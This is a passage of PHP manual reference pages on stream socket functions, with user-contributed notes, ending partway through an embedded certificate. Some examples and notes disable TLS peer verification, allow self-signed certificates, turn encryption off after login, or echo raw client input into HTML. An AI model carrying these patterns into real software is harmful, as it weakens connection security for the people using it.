Description

resource stream_socket_client ( string $remote_socket [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") [, int $flags = STREAM_CLIENT_CONNECT [, resource $context ]]]]] )

Initiates a stream or datagram connection to the destination specified by remote_socket. The type of socket created is determined by the transport specified using standard URL formatting: transport://target. For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the remote_socket parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem.

Note:

The stream will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

Parameters

remote_socket

Address to the socket to connect to.

errno

Will be set to the system level error number if connection fails.

errstr

Will be set to the system level error message if the connection fails.

timeout

Number of seconds until the connect() system call should timeout.

Note: This parameter only applies when not making asynchronous connection attempts.

Note:

To set a timeout for reading/writing data over the socket, use the stream_set_timeout(), as the timeout only applies while making connecting the socket.

flags

Bitmask field which may be set to any combination of connection flags. Currently the select of connection flags is limited to STREAM_CLIENT_CONNECT (default), STREAM_CLIENT_ASYNC_CONNECT and STREAM_CLIENT_PERSISTENT.

context

A valid context resource created with stream_context_create().

Return Values

On success a stream resource is returned which may
be used together with the other file functions (such as
fgets(), fgetss(),
fwrite(), fclose(), and
feof()), FALSE on failure.

Errors/Exceptions

On failure the errno and errstr arguments will be populated with the actual system level error that occurred in the system-level connect() call. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

Examples

Example #1 stream_socket_client() example

<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
    while (!feof($fp)) {
        echo fgets($fp, 1024);
    }
    fclose($fp);
}
?>

Example #2 Using UDP connection

Retrieving the day and time from the UDP service "daytime" (port 13) on localhost.

<?php
$fp = stream_socket_client("udp://127.0.0.1:13", $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

Notes

Warning

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

Note: When specifying a numerical IPv6 address (e.g. fe80::1), you must enclose the IP in square brackets—for example, tcp://[fe80::1]:80.

Note:

Depending on the environment, the Unix domain or the optional connect timeout may not be available. A list of available transports can be retrieved using stream_get_transports(). See List of Supported Socket Transports for a list of built in transports.

See Also

  • stream_socket_server() - Create an Internet or Unix domain server socket
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • cURL Functions

User Contributed Notes

Vasil Rangelov a.k.a. boen_robot 14-Aug-2011 01:11
The remote_socket argument, in its end (well... after the port), can also contain a "/" followed by a unique identifier. This is especially useful if you want to create multiple persistent connections to the same transport://host:port combo.

Example:
<?php
$socket = stream_socket_client('tcp://mysql.example.com:3306/root', $errorno, $errorstr, $timeout, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT);
?>

Note that while (p)fsockopen() follows a similar scheme, it doesn't have this particular feature.
bisho at onirica dot com 29-Mar-2010 09:04
stream_socket_client is much easier and faster to use to direct sockets, because you can use directly fwrite / fget / fclose functions, but I find hard to find how to connect to a UNIX domain socket. The URL to use is "udg:///path/to/socket".

For example, to log to the log socket (like syslog), you can use:

<?php
$socket = stream_socket_client('udg:///dev/log',
        $errorno,
        $errorstr,
        $timeout);
fwrite($socket, ...);
?>
nicholas at nicholaswilliams dot net 28-Oct-2008 05:08
For those wanting to use stream_socket_client() to connect to a local UNIX socket who can't find documentation on how to do it, here's a (rough) example:

<?php

$sock = stream_socket_client('unix:///full/path/to/my/socket.sock', $errno, $errstr);

fwrite($sock, 'SOME COMMAND'."\r\n");

echo fread($sock, 4096)."\n";

fclose($sock);

?>
robin at gareus dot org 26-Aug-2008 04:19
the httpPost() function was almost too long for a user-comment..  I've cut some newlines but to be complete the code snippet misses:

<?php
 function randomNonce($len=0) {
  $chars = "ABCDEFGHIJKMNOPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz023456789";
  $i=0; $rv='';
  if ($len < 1) $len= (6+rand()%10);
  while ($i++ < $len) {
    $rv.=$chars[rand() % strlen($chars)];
  }
  return $rv;
}
?>
robin at gareus dot org 26-Aug-2008 03:34
I came here since fsockopen() does not support any SSL certificate checking in PHP5.

while curl is nice, I use stream_socket_client() to make XML-RPC POST requests via HTTPS and since I have not found any PHP code around that does this, I'll attach an example that also includes HTTP-Digest Auth (eg. trac's WikiRPCInterface2):

<?php
#################################################
# $host: hostname ; eg 'example.org'
# $path: request' eg '/index.php?id=123'
# $data_to_send : data to POST after the HTTP header.
#
# if $opts is an  empty array() a standard  HTTP to port 80 request is performed.
#
# set auth['type']='basic' to use plain-text auth,
# digest-auth will be handled automatically if $auth['username'] is set and a 401
# status is encountered. - use auth['type']='nodigest' to override.
#
##
function httpPost($host, $path, $data_to_send,
                  $opts=array('cert'=>"", 'headers'=>0, 'transport' =>'ssl', 'port'=>443),
                  $auth=array('username'=>"", 'password'=>"", 'type'=>"")
                 ) {
  $transport=''; $port=80;
  if (!empty($opts['transport'])) $transport=$opts['transport'];
  if (!empty($opts['port'])) $port=$opts['port'];
  $remote=$transport.'://'.$host.':'.$port;

  $context = stream_context_create();
  $result = stream_context_set_option($context, 'ssl', 'verify_host', true);
  if (!empty($opts['cert'])) {
    $result = stream_context_set_option($context, 'ssl', 'cafile', $opts['cert']);
    $result = stream_context_set_option($context, 'ssl', 'verify_peer', true);
  } else {
    $result = stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
  }
  $fp = stream_socket_client($remote, $err, $errstr, 60, STREAM_CLIENT_CONNECT, $context);

  if (!$fp) {
    trigger_error('httpPost error: '.$errstr);
    return NULL;
  }

  $req='';
  $req.="POST $path HTTP/1.1\r\n";
  $req.="Host: $host\r\n";
  if ($auth['type']=='basic' && !empty($auth['username'])) {
    $req.="Authorization: Basic ";
    $req.=base64_encode($auth['username'].':'.$auth['password'])."\r\n";
  }
  elseif ($auth['type']=='digest' && !empty($auth['username'])) {
    $req.='Authorization: Digest ';
    foreach ($auth as $k => $v) {
      if (empty($k) || empty($v)) continue;
      if ($k=='password') continue;
      $req.=$k.'="'.$v.'", ';
    }
    $req.="\r\n";
  }
  $req.="Content-type: text/xml\r\n";
  $req.='Content-length: '. strlen($data_to_send) ."\r\n";
  $req.="Connection: close\r\n\r\n";

  fputs($fp, $req);
  fputs($fp, $data_to_send);

  while(!feof($fp)) { $res .= fgets($fp, 128); }
  fclose($fp);

  if ($auth['type']!='nodigest'
        && !empty($auth['username'])
        && $auth['type']!='digest' # prev. digest AUTH failed.
        && preg_match("/^HTTP\/[0-9\.]* 401 /", $res)) {
    if (1 == preg_match("/WWW-Authenticate: Digest ([^\n\r]*)\r\n/Us", $res, $matches)) {
      foreach (split(",", $matches[1]) as $i) {
        $ii=split("=",trim($i),2);
        if (!empty($ii[1]) && !empty($ii[0])) {
          $auth[$ii[0]]=preg_replace("/^\"/",'', preg_replace("/\"$/",'', $ii[1]));
        }
      }
      $auth['type']='digest';
      $auth['uri']='https://'.$host.$path;
      $auth['cnonce']=randomNonce();
      $auth['nc']=1;
      $a1=md5($auth['username'].':'.$auth['realm'].':'.$auth['password']);
      $a2=md5('POST'.':'.$auth['uri']);
      $auth['response']=md5($a1.':'
                           .$auth['nonce'].':'.$auth['nc'].':'
                           .$auth['cnonce'].':'.$auth['qop'].':'.$a2);
      return httpPost($host, $path, $data_to_send, $opts, $auth);
    }
  }

  if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^\r\n]*)/", $res, $matches)) {
    trigger_error('httpPost: invalid HTTP reply.');
    return NULL;
  }

  if ($matches[1] != '200') {
    trigger_error('httpPost: HTTP error: '.$matches[1].' '.$matches[2]);
    return NULL;
  }

  if (!$opts['headers']) {
    $res=preg_replace("/^.*\r\n\r\n/Us",'',$res);
  }
  return $res;
}
?>
wbeaver at afilias dot info 31-Aug-2007 02:06
# Some may find it useful to know that your caCert
# must be in pem format, and that PHP seems to like
# your key, cert, and cacert pem's to be concatenated
# in a single file (I suffered various "unknown chain"
# errors, otherwise)
#
# So, (linux users), concat your components as follows:
# (where current working dir is dir where
# cert components are stored)
#
# cat key.pem >certchain.pem
# cat cert.pem >>certchain.pem
# cat cacert.pem >>certchain.pem
#
# Then, the php....
##################################

<?php

$host = 'host.domain.tld';
$port = 1234;
$timeout = 10;

$cert = '/path/to/your/certchain/certchain.pem';
$context = stream_context_create(array('ssl'=>array('local_cert'=> $cert,
)));

if ($fp = stream_socket_client('ssl://'.$host.':'.$port, $errno, $errstr, 30,
        STREAM_CLIENT_CONNECT, $context)) {
    fwrite($fp, "\n");
    echo fread($fp,8192);
    fclose($fp);
} else {
   echo "ERROR: $errno - $errstr<br />\n";
}

?>
stream_socket_accept
stream_socket_enable_crypto
Stream Functions


Turns encryption on/off on an already connected socket

stream_socket_client
stream_socket_get_name
Stream Functions
PHP Manual

stream_socket_enable_crypto

(PHP 5 >= 5.1.0)

stream_socket_enable_crypto — Turns encryption on/off on an already connected socket

Description

mixed stream_socket_enable_crypto ( resource $stream , bool $enable [, int $crypto_type [, resource $session_stream ]] )

Enable or disable encryption on the stream.

Once the crypto settings are established, cryptography can be turned on and off dynamically by passing TRUE or FALSE in the enable parameter.

Parameters

stream

The stream resource.

enable

Enable/disable cryptography on the stream.

crypto_type

Setup encryption on the stream. Valid methods are

  • STREAM_CRYPTO_METHOD_SSLv2_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv3_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv23_CLIENT
  • STREAM_CRYPTO_METHOD_TLS_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv2_SERVER
  • STREAM_CRYPTO_METHOD_SSLv3_SERVER
  • STREAM_CRYPTO_METHOD_SSLv23_SERVER
  • STREAM_CRYPTO_METHOD_TLS_SERVER

session_stream

Seed the stream with settings from session_stream.

Return Values

Returns TRUE on success, FALSE if negotiation has failed or 0 if there isn't enough data and you should try again (only for non-blocking sockets).

Examples

Example #1 stream_socket_enable_crypto() example

<?php
$fp = stream_socket_client("tcp://myproto.example.com:31337", $errno, $errstr, 30);
if (!$fp) {
    die("Unable to connect: $errstr ($errno)");
}

/* Turn on encryption for login phase */
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
fwrite($fp, "USER god\r\n");
fwrite($fp, "PASS secret\r\n");

/* Turn off encryption for the rest */
stream_socket_enable_crypto($fp, false);

while ($motd = fgets($fp)) {
    echo $motd;
}

fclose($fp);
?>

The above example will output something similar to:

See Also

  • OpenSSL Functions
    •

  • List of Supported Socket Transports
    •

User Contributed Notes

   mark at kinoko dot fr
   06-Nov-2007 11:00

Just to avoid letting you search everywhere why your code doesn't work when using this function to enable crypto as a server, and when using TLS, you have to put the certificate in the "ssl" context, even if you start a TLS, SSLv3, etc.. server.

I had some troubles because of that...

   tigger (AT) tiggerswelt d0t net
   30-May-2007 03:15

As already mentioned above:

stream_socket_enable_crypto is likely to fail/return zero if the socket is in non-blocking mode.

You may either wait some seconds until all neccessary data has arrived or switch temporary to blocking mode:

<?PHP

  stream_set_blocking ($fd, true);

  stream_socket_enable_crypto ($fd, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

  stream_set_blocking ($fd, false);

?>

This works very fine for me ;-)

stream_socket_client

stream_socket_get_name

Stream Functions


Retrieve the name of the local or remote sockets

stream_socket_enable_crypto
stream_socket_pair
Stream Functions
PHP Manual

stream_socket_get_name

(PHP 5)

stream_socket_get_name — Retrieve the name of the local or remote sockets

Description

string stream_socket_get_name ( resource $handle , bool $want_peer )

Returns the local or remote name of a given socket connection.

Parameters

handle

The socket to get the name of.

want_peer

If set to TRUE the remote socket name will be returned, if set to FALSE the local socket name will be returned.

Return Values

The name of the socket.

See Also

  • stream_socket_accept() - Accept a connection on a socket created by stream_socket_server

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 08:29
Surprisingly, on my Linux system, when connected to a localhost service using IPV4, stream_get_socket_name returns ::1 as the peer or local address. One would expect to get localhost or 127.0.0.1 but the ::1 IPV6 localhost is returned instead.
eddi at to-grip dot de 15-May-2006 12:07
Use this function to check current status of a connection:
<?php
$c=stream_socket_server("tcp://127.0.0.1:1100");
while(1){
   if(is_resource($a=stream_socket_accept($c))){
      # do something time-consuming
      if(stream_socket_get_name($a,true)!==false){
         fwrite($a,"Regards form Berlin");
      }
   }
} ?>
stream_socket_enable_crypto
stream_socket_pair
Stream Functions


Creates a pair of connected, indistinguishable socket streams

stream_socket_get_name
stream_socket_recvfrom
Stream Functions
PHP Manual

stream_socket_pair

(PHP 5 >= 5.1.0)

stream_socket_pair — Creates a pair of connected, indistinguishable socket streams

Description

array stream_socket_pair ( int $domain , int $type , int $protocol )

stream_socket_pair() creates a pair of connected, indistinguishable socket streams. This function is commonly used in IPC (Inter-Process Communication).

Parameters

domain

The protocol family to be used: STREAM_PF_INET, STREAM_PF_INET6 or STREAM_PF_UNIX

type

The type of communication to be used: STREAM_SOCK_DGRAM, STREAM_SOCK_RAW, STREAM_SOCK_RDM, STREAM_SOCK_SEQPACKET or STREAM_SOCK_STREAM

protocol

The protocol to be used: STREAM_IPPROTO_ICMP, STREAM_IPPROTO_IP, STREAM_IPPROTO_RAW, STREAM_IPPROTO_TCP or STREAM_IPPROTO_UDP

Note: Please consult the Streams constant list for further details on each constant.

Return Values

Returns an array with the two socket resources on success, or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Examples

Example #1 A stream_socket_pair() example

This example shows the basic usage of stream_socket_pair() in Inter-Process Comunication.

<?php

$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid     = pcntl_fork();

if ($pid == -1) {
     die('could not fork');

} else if ($pid) {
     /* parent */
    fclose($sockets[0]);

    fwrite($sockets[1], "child PID: $pid\n");
    echo fgets($sockets[1]);

    fclose($sockets[1]);

} else {
    /* child */
    fclose($sockets[1]);

    fwrite($sockets[0], "message from child\n");
    echo fgets($sockets[0]);

    fclose($sockets[0]);
}

?>

The above example will output something similar to:

child PID: 1378
message from child

User Contributed Notes

Till 02-Aug-2007 08:47
This is some freak-example how to use this feature to fork to a
bc-command on a Solaris-Server:

<?
$sockets=stream_socket_pair(STREAM_PF_UNIX,STREAM_SOCK_STREAM,
                                                STREAM_IPPROTO_IP);
passthru('
    perl -e \'
        use strict; my ($x,@x);
        open(STDIN,"-|","/bin/pfiles $$");
        while (<>) { $x=$1 if(/^ +([0-9]+):/); push(@x,$x) if(/AF_UNIX/); }
        print "Starting bc -l 0<&$x[1] 1>&$x[1] $x[0]<&- $x[0]>&- ...\n\n";
        exec("bash","-c","bc -l 0<&$x[1] 1>&$x[1] $x[0]<&- $x[0]>&- &");\'');

fclose($sockets[0]);

fwrite($sockets[1],"666*999\n");
print "666*999 = ".fgets($sockets[1])."\n";

fwrite($sockets[1],"./696\n");
print "./696 = ".fgets($sockets[1])."\n";

fwrite($sockets[1],"quit\n");
fclose($sockets[1]);
?>

The big problem is, that there seems to be no way to obtain the real
filedescriptors of the two sockets, but you need them, if you want to
redirect some program's STDOUT and STDIN to one of these sockets.

I misused the /bin/pfiles command on a Solaris UNIX to find them.
Another (non-php-) problem is, that, if you use php in Apache, there
will be already a lot of open filedescriptors and the filedescriptors
of the sockets will be greater than 9. That's why I had to use the bash.

I think it is awful, but it works. Would be great, if someone
would come up with a better idea.
stream_socket_get_name
stream_socket_recvfrom
Stream Functions


Receives data from a socket, connected or not

stream_socket_pair
stream_socket_sendto
Stream Functions
PHP Manual

stream_socket_recvfrom

(PHP 5)

stream_socket_recvfrom — Receives data from a socket, connected or not

Description

string stream_socket_recvfrom ( resource $socket , int $length [, int $flags = 0 [, string &$address ]] )

stream_socket_recvfrom() accepts data from a remote socket up to length bytes.

Parameters

socket

The remote socket.

length

The number of bytes to receive from the socket.

flags

The value of flags can be any combination of the following:

Possible values for flags
STREAM_OOB | Process OOB (out-of-band) data.
STREAM_PEEK | Retrieve data from the socket, but do not consume the buffer. Subsequent calls to fread() or stream_socket_recvfrom() will see the same data.

address

If address is provided it will be populated with the address of the remote socket.

Return Values

Returns the read data, as a string

Examples

Example #1 stream_socket_recvfrom() example

<?php
/* Open a server socket to port 1234 on localhost */
$server = stream_socket_server('tcp://127.0.0.1:1234');

/* Accept a connection */
$socket = stream_socket_accept($server);

/* Grab a packet (1500 is a typical MTU size) of OOB data */
echo "Received Out-Of-Band: '" . stream_socket_recvfrom($socket, 1500, STREAM_OOB) . "'\n";

/* Take a peek at the normal in-band data, but don't comsume it. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500, STREAM_PEEK) . "'\n";

/* Get the exact same packet again, but remove it from the buffer this time. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500) . "'\n";

/* Close it up */
fclose($socket);
fclose($server);
?>

Notes

Note:

If a message received is longer than the length parameter, excess bytes may be discarded depending on the type of socket the message is received from (such as UDP).

Note:

Calls to stream_socket_recvfrom() on socket-based streams, after calls to buffer-based stream functions (like fread() or stream_get_line()) read data directly from the socket and bypass the stream buffer.

See Also

  • stream_socket_sendto() - Sends a message to a socket, whether it is connected or not
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_socket_server() - Create an Internet or Unix domain server socket

User Contributed Notes

MagicalTux at php dot net 15-Feb-2011 11:13
This method may return a peer address not compatible with stream_socket_sendto() if in ipv6.

The ip returned by recvfrom is not within brackets ([]), and has the port appended, which makes it look like ::1:1234. To cut it properly, use strrpos()
cweiske at php dot net 28-Feb-2010 05:42
Note that stream_socket_recvfrom() bypasses stream wrappers including TLS/SSL. While reading from an encrypted stream with fread() will return decrypted data, using stream_socket_recvfrom() will give you the original encrypted bytes.
stream_socket_pair
stream_socket_sendto
Stream Functions


Sends a message to a socket, whether it is connected or not

stream_socket_recvfrom
stream_socket_server
Stream Functions
PHP Manual

stream_socket_sendto

(PHP 5)

stream_socket_sendto — Sends a message to a socket, whether it is connected or not

Description

int stream_socket_sendto ( resource $socket , string $data [, int $flags = 0 [, string $address ]] )

Sends the specified data through the socket.

Parameters

socket

The socket to send data to.

data

The data to be sent.

flags

The value of flags can be any combination of the following:

possible values for flags
STREAM_OOB Process OOB (out-of-band) data.

address

The address specified when the socket stream was created will be used unless an alternate address is specified in address.

If specified, it must be in dotted quad (or [ipv6]) format.

Return Values

Returns a result code, as an integer.

Examples

Example #1 stream_socket_sendto() Example

<?php
/* Open a socket to port 1234 on localhost */
$socket = stream_socket_client('tcp://127.0.0.1:1234');

/* Send ordinary data via ordinary channels. */
fwrite($socket, "Normal data transmit.");

/* Send more data out of band. */
stream_socket_sendto($socket, "Out of Band data.", STREAM_OOB);

/* Close it up */
fclose($socket);
?>

See Also

  • stream_socket_recvfrom() - Receives data from a socket, connected or not
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_socket_server() - Create an Internet or Unix domain server socket

User Contributed Notes

There are no user contributed notes for this page.
stream_socket_recvfrom
stream_socket_server
Stream Functions


Create an Internet or Unix domain server socket

stream_socket_sendto
stream_socket_shutdown
Stream Functions
PHP Manual

stream_socket_server

(PHP 5)

stream_socket_server — Create an Internet or Unix domain server socket

Description

resource stream_socket_server ( string $local_socket [, int &$errno [, string &$errstr [, int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN [, resource $context ]]]] )

Creates a stream or datagram socket on the specified local_socket.

This function only creates a socket, to begin accepting connections use stream_socket_accept().

Parameters

local_socket

The type of socket created is determined by the transport specified using standard URL formatting: transport://target.

For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the remote_socket parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem.

Depending on the environment, Unix domain sockets may not be available. A list of available transports can be retrieved using stream_get_transports(). See List of Supported Socket Transports for a list of bulitin transports.

errno

If the optional errno and errstr arguments are present they will be set to indicate the actual system level error that occurred in the system-level socket(), bind(), and listen() calls. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the bind() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

errstr

See errno description.

flags

A bitmask field which may be set to any combination of socket creation flags.

Note:

For UDP sockets, you must use STREAM_SERVER_BIND as the flags parameter.

context

Return Values

Returns the created stream, or FALSE on error.

Examples

Example #1 Using TCP server sockets

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
    fclose($conn);
  }
  fclose($socket);
}
?>

The example below shows how to act as a time server which can respond to time queries as shown in an example on stream_socket_client().

Note: Most systems require root access to create a server socket on a port below 1024.

Example #2 Using UDP server sockets

<?php
$socket = stream_socket_server("udp://127.0.0.1:1113", $errno, $errstr, STREAM_SERVER_BIND);
if (!$socket) {
    die("$errstr ($errno)");
}

do {
    $pkt = stream_socket_recvfrom($socket, 1, 0, $peer);
    echo "$peer\n";
    stream_socket_sendto($socket, date("D M j H:i:s Y\r\n"), 0, $peer);
} while ($pkt !== false);

?>

Notes

Note: When specifying a numerical IPv6 address (e.g. fe80::1), you must enclose the IP in square brackets—for example, tcp://[fe80::1]:80.

See Also

  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • Curl extension

User Contributed Notes

Aurelien Marchand 11-Mar-2011 11:54
In the case of AF_UNIX sockets, note the named sockets that will be created respects your umask(). So if you wanted your named socket to be writeable to all, do umask(0) prior to calling stream_socket_server().

AM
frxstrem 26-Jun-2010 10:18
Using the OpenSSL extension, PHP can automatically generate self-signed SSL certificates, which can be used for basic authentication and encryption (although I would recommend to use a signed certificate instead) for SSL servers.

I have extended the script by 'e at osterman dot com' to automatically create self-signed certificates:

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

// Certificate data:
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate certificate
$privkey = openssl_pkey_new();
$cert    = openssl_csr_new($dn, $privkey);
$cert    = openssl_csr_sign($cert, null, $privkey, 365);

// Generate PEM file
# Optionally change the passphrase from 'comet' to whatever you want, or leave it empty for no passphrase
$pem_passphrase = 'comet';
$pem = array();
openssl_x509_export($cert, $pem[0]);
openssl_pkey_export($privkey, $pem[1], $pem_passphrase);
$pem = implode($pem);

// Save PEM file
$pemfile = './server.pem';
file_put_contents($pemfile, $pem);

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', $pemfile);
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', $pem_passphrase);

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
    $buffer = '';
    print "waiting...";
    $client = stream_socket_accept($server);
    print "accepted " . stream_socket_get_name( $client, true) . "\n";
    if( $client )
    {
        // Read until double CRLF
        while( !preg_match('/\r?\n\r?\n/', $buffer) )
            $buffer .= fread($client, 2046);
        // Respond to client
        fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
        fclose($client);
    } else {
        print "error.\n";
    }
}

?>
peterjb at me dot com 02-Jan-2010 03:48
I had a horrible time trying to shove a TLS socket into an existing TCP program.  It appears to me that functions like stream_socket_recvfrom and stream_socket_sendto don't work with TLS/SSL (which may be obvious to PHP gurus...sorry if it is, I'm in a bit over my head here).

In the end I ended up doing all my IO with fread() and fwrite(), which solved all my problems.
davidm at marketo dot com 22-Nov-2009 04:15
In some specialized scenarios, you may want to create an AF_INET socket (UDP or TCP) but let the system select an unused port for you.  This is a standard feature of internet sockets but it doesn't seem to be documented how to do this for the stream_socket_server function.  It appears you can get this behavior by selecting zero for the port number, for example, my test below printed "127.0.0.1:4960".

<?php
  $sock = stream_socket_server("udp://127.0.0.1:0");
  $name = stream_socket_get_name($sock);
  echo $name;
?>
Julien Picalausa 24-May-2009 01:27
You may have noticed that, unlike socket_listen, stream_socket_server doesn't have a backlog parameter. From the source code of php 5.2.9, it looks like the backlog parameter to the actual listen call is hardcoded to be 5. If this value doesn't suit your needs, you'll have to use the lower-level socket functions.
Neil Munro 05-Jul-2006 01:26
If you want a high speed socket server, use the low-level sockets instead (socket_create/bind/listen). The stream_socket_server version appears to have internal fixed 8k buffers that will overflow if you don't keep up by reading.

This is a serious problem if you an application that reads the socket for messages and then, say, saves the result in a database. The delay while it is busy processing means you can't read the data in time unless you get involved in muti-threading.

With the the low-level functions, the OS quietly buffers TCP/IP packets so there is no problem (tested on Windows XP Professional).
e at osterman dot com 25-May-2006 07:36
Example "Hello World!" SSL HTTP Server. Note, if you don't use a signed ssl certificate, your browser will give you a warning.

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', './server.pem');
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', 'comet');

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
    $buffer = '';
    print "waiting...";
    $client = stream_socket_accept($server);
    print "accepted " . stream_socket_get_name( $client, true) . "\n";
    if( $client )
    {
        // Read until double CRLF
        while( !preg_match('/\r?\n\r?\n/', $buffer) )
            $buffer .= fread($client, 2046);
        // Respond to client
        fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
        fclose($client);
    } else {
        print "error.\n";
    }
}

// Example PEM File below (call it server.pem, to use this example)
// Use these instructions to create your own. http://sial.org/howto/openssl/self-signed/

/*

-----BEGIN CERTIFICATE-----
MIIDgTCCAuqgAwIBAgIJAMgtIWVzb1oIMA0GCSqGSIb3DQEBBQUAMIGIMQswCQYD
VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2Vs
ZXMxFDASBgNVBAoTC091ciBDb21wYW55MQ0wCwYDVQQLEwRUZXN0MQwwCgYDVQQD
EwNEZXYxGzAZBgkqhkiG9w0BCQEWDGFzZEBob3N0LmNvbTAeFw0wNjA1MjYwMTM4
NTRaFw0wNzA1MjYwMTM4NTRaMIGIMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
aWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2VsZXMxFDASBgNVBAoTC091ciBDb21w
YW55MQ0wCwYDVQQLEwRUZXN0MQwwCgYDVQQDEwNEZXYxGzAZBgkqhkiG9w0BCQEW
DGFzZEBob3N0LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3mStTm74
kOQCelquoGI/WyUIOvngDdNcJGmi2xnzDpRjKfQTH/3VVDQJUwvjKcLxnBQHFg7M
nvEZrfC3LEmFajAzRKjXK5gUCQEQKqhbVsfZO+7ANq4axNldd4UgMhPeZIKr8DDt
P3pjFqFSYh/dtOq2pfDXSbstmCZ1Q3GAYDcCAwEAAaOB8DCB7TAdBgNVHQ4EFgQU
WQSzc00pkM9aCzsxKJpTYm3kwEUwgb0GA1UdIwSBtTCBsoAUWQSzc00pkM9aCzsx
KJpTYm3kwEWhgY6kgYswgYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9y
bmlhMRQwEgYDVQQHEwtMb3MgQW5nZWxlczEUMBIGA1UEChMLT3VyIENvbXBhbnkx
DTALBgNVBAsTBFRlc3QxDDAKBgNVBAMTA0RldjEbMBkGCSqGSIb3DQEJARYMYXNk
QGhvc3QuY29tggkAyC0hZXNvWggwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUF
